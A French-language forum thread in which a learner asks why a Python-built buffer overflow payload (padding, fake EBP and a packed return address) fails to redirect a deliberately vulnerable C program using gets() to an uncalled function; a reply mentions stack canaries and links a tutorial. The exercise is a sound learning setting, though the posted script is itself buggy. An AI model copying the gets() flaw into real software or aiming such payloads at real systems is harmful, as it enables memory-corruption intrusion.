Partage
  • Partager sur Facebook
  • Partager sur Twitter

Alteration flux buffer overflow

    15 mai 2019 à 13:16:15

    Bonjour,

    Je voudrais faire du buffer overflow sur ce fichier

    #include <stdio.h>
    #include <unistd.h>
    void lire() {
    char buffer[12];
    puts("Ecrivez une chaine?");
    gets(buffer);
    }
    //Cette fonction vulnerable n’est pas appelé dans le corps du programme.
    void vulnerable () { printf("Vulnerable réussie !! !! !! !!\n"); }
    int main() {
    lire();
    puts("Message bien recu.");
    return(0);
    }

    J'utilise ce python que j'ai fait

    #!/usr/bin/python
    
    import struct
    import os
    
    
    
    buf_size = 12
    
    ebp = "AAAA"
    
    addr = 0x08048403
    
    payload = '\x90'*buf_size + ebp + struct.pack('<L', addr)+
    '\x0A'
    
    printf(payload)

    J'ai recuperer addr en lancant disassemble sur la fonction vulnerable

    0x08048403 <vulnerable+0>: push  %ebp
    0x08048404 <vulnerable+1>: mov %esp,%ebp
    0x08048406 <vulnerable+3>: sub $0x8,%esp
    0x08048409 <vulnerable+6>: movl $0x804852c,(%esp)
    0x08048410 <vulnerable+13>:       call   0x8048320 <put@plt>
    0x08048415 <vulnerable+18>:       leave
    0x08048416 <vulnerable+19>:       ret  

    Quand je lance cette commande

    python payload.py; ./test
    !!!!!!!!!!!!!AAAAF@a
    Ecrivez une chaine?

    Moi, je veux qu'il envoie le print de la focntion vulnerable. Je ne sais pas ce qui manque.Pouvez-vous m'aidez svp?





    -
    Edité par SarahKay 16 mai 2019 à 9:48:25

    • Partager sur Facebook
    • Partager sur Twitter
      16 mai 2019 à 0:14:10

      Ton programme est du simple ROP.

      Cependant il manque plein d'informations, dont la plus importante, comment est compilé ce programme. Dans les versions """"récentes"""" de gcc par exemple, tu vas avoir bien plus de mal à exploiter ce binaire, à cause des canaries.

      Si tu veux un exemple similaire au tien, GeO a écrit un excellent article en francais à ce sujet:

      https://zestedesavoir.com/articles/1424/decouvrez-lattaque-return-oriented-programming/

      • Partager sur Facebook
      • Partager sur Twitter
        16 mai 2019 à 9:47:35

        Voici comment je l'ai compilé:

        $gcc –g –Wall test.c
        $gcc –g –Wall –static –S test.c
        $more vulnerable.s
        $gcc –g –Wall test.c –o test


        Est-ce que je dois changer quelque chose dans la compilation pour que ca fasse ce que je veux?

        -
        Edité par SarahKay 16 mai 2019 à 9:48:06

        • Partager sur Facebook
        • Partager sur Twitter

        Alteration flux buffer overflow

        × Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
        × Attention, ce sujet est très ancien. Le déterrer n'est pas forcément approprié. Nous te conseillons de créer un nouveau sujet pour poser ta question.
        • Editeur
        • Markdown